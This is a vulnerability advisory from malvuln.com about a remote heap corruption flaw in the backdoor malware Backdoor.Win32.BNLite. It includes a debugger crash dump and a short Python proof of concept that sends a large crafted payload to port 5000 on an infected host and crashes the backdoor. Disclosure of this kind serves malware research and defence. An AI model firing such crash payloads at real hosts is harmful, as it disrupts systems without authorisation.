Authored by malvuln | Site malvuln.com

BACKDOOR.WIN32.BNLITE malware suffers from a remote heap corruption vulnerability.

Discovery / credits: malvuln - Malvuln.com (c) 2021
Original source: http://malvuln.com/advisory/f78cef7588f9c32609a4932d10c67f95.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: BACKDOOR.WIN32.BNLITE
Vulnerability: Remote Heap Corruption
Description: When sending a specially crafted payload to TCP Port 5000, the backdoor malware will suffer a Heap Corruption.

Type: PE32
MD5: f78cef7588f9c32609a4932d10c67f95
Vuln ID: MVID-2021-0012
Dropped files: NBLF32.exe
ASLR: False
Safe SEH: True
Disclosure: 01/02/2021

Memory Dump:
PROCESS_NAME: NBLF32.exe
FAULTING_MODULE: 77360000 ntdll
DEBUG_FLR_IMAGE_TIMESTAMP: 0
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_PARAMETER1: 00000000
EXCEPTION_PARAMETER2: 30322326
READ_ADDRESS: 30322326

FOLLOWUP_IP:
ntdll!RtlAllocateHeap+19ba
773a2d6a 8b09 mov ecx,dword ptr [ecx]

FAULTING_THREAD: 00000b84
DEFAULT_BUCKET_ID: HEAP_CORRUPTION
PRIMARY_PROBLEM_CLASS: HEAP_CORRUPTION
BUGCHECK_STR: APPLICATION_FAULT_HEAP_CORRUPTION_STRING_DEREFERENCE_INVALID_POINTER_READ_WRONG_SYMBOLS
LAST_CONTROL_TRANSFER: from 773a16b7 to 773a2d6a

0:000> .ecxr
eax=0000263b ebx=026fa980 ecx=30322326 edx=3b333532 esi=026fa988 edi=026d0000
eip=773a2d6a esp=0019fcf0 ebp=0019feb0 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
ntdll!RtlAllocateHeap+0x19ba:
773a2d6a 8b09 mov ecx,dword ptr [ecx] ds:002b:30322326=????????


Exploit/PoC:
from socket import *
#NBLF32.exe HEAP CORRUPTION
#May need to send payload twice consecutively
#or wait for reboot if exploit fails first time.
#===============================================
MALWARE_INFECTED_HOST=x.x.x.x

s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_INFECTED_HOST, 5000))

PAYLOAD="DELETE / HTTP/1.0 KýΛ@g5”ö?KýΛ@g5”ö?"*44220

s.send(PAYLOAD)
s.close()

print("Backdoor.Win32.BNLite Malware / Remote Heap Corruption")
print("MD5: f78cef7588f9c32609a4932d10c67f95")
print("By malvuln")


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occuring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).